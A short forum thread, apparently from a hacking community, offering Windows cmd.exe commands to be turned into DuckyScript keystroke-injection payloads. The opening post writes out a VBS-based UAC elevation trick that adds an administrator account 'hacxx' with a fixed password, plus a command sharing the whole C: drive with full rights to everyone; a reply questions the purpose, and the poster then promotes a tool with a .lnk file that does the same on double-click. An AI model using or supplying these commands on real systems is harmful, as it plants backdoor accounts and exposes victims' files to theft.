CMD.exe commands that could be convert to DuckyScript script

Add administrator account named hacxx with password hacxx on windows with admin escalation

cmd.exe /c echo Set UAC = CreateObject(“Shell.Application”) >%temp%\2b.vbs && echo UAC.ShellExecute “cmd.exe”, “/c net user /add hacxx hacxx && net localgroup administrators hacxx /add”, , “runas”, 1 >>%temp%\2b.vbs && %temp%\2b.vbs && del /q %temp%\2b.vbs

Raw Command

cmd.exe /c net user /add hacxx hacxx && net localgroup administrators hacxx /add

Open network shares - Raw Command

cmd.exe /c NET SHARE shared=C:\ /GRANT:everyone,FULL && echo y| CACLS C:\ /E /T /C /G “everyone”:F

1 Like

What do you want to accomplish here?
Whats the use of creating a new admin account? :thinking:
This would imply you’re already admin.
And why sharing C: instead of covertly accessing the C$ share with the admin account? :thinking:

Just sharing knowledge and some solutions that i have. Recommend Hacxx CMD Hacktool.

It has a .lnk file that once double click will ask the user to confirm escalation and add an account or open shares on c:.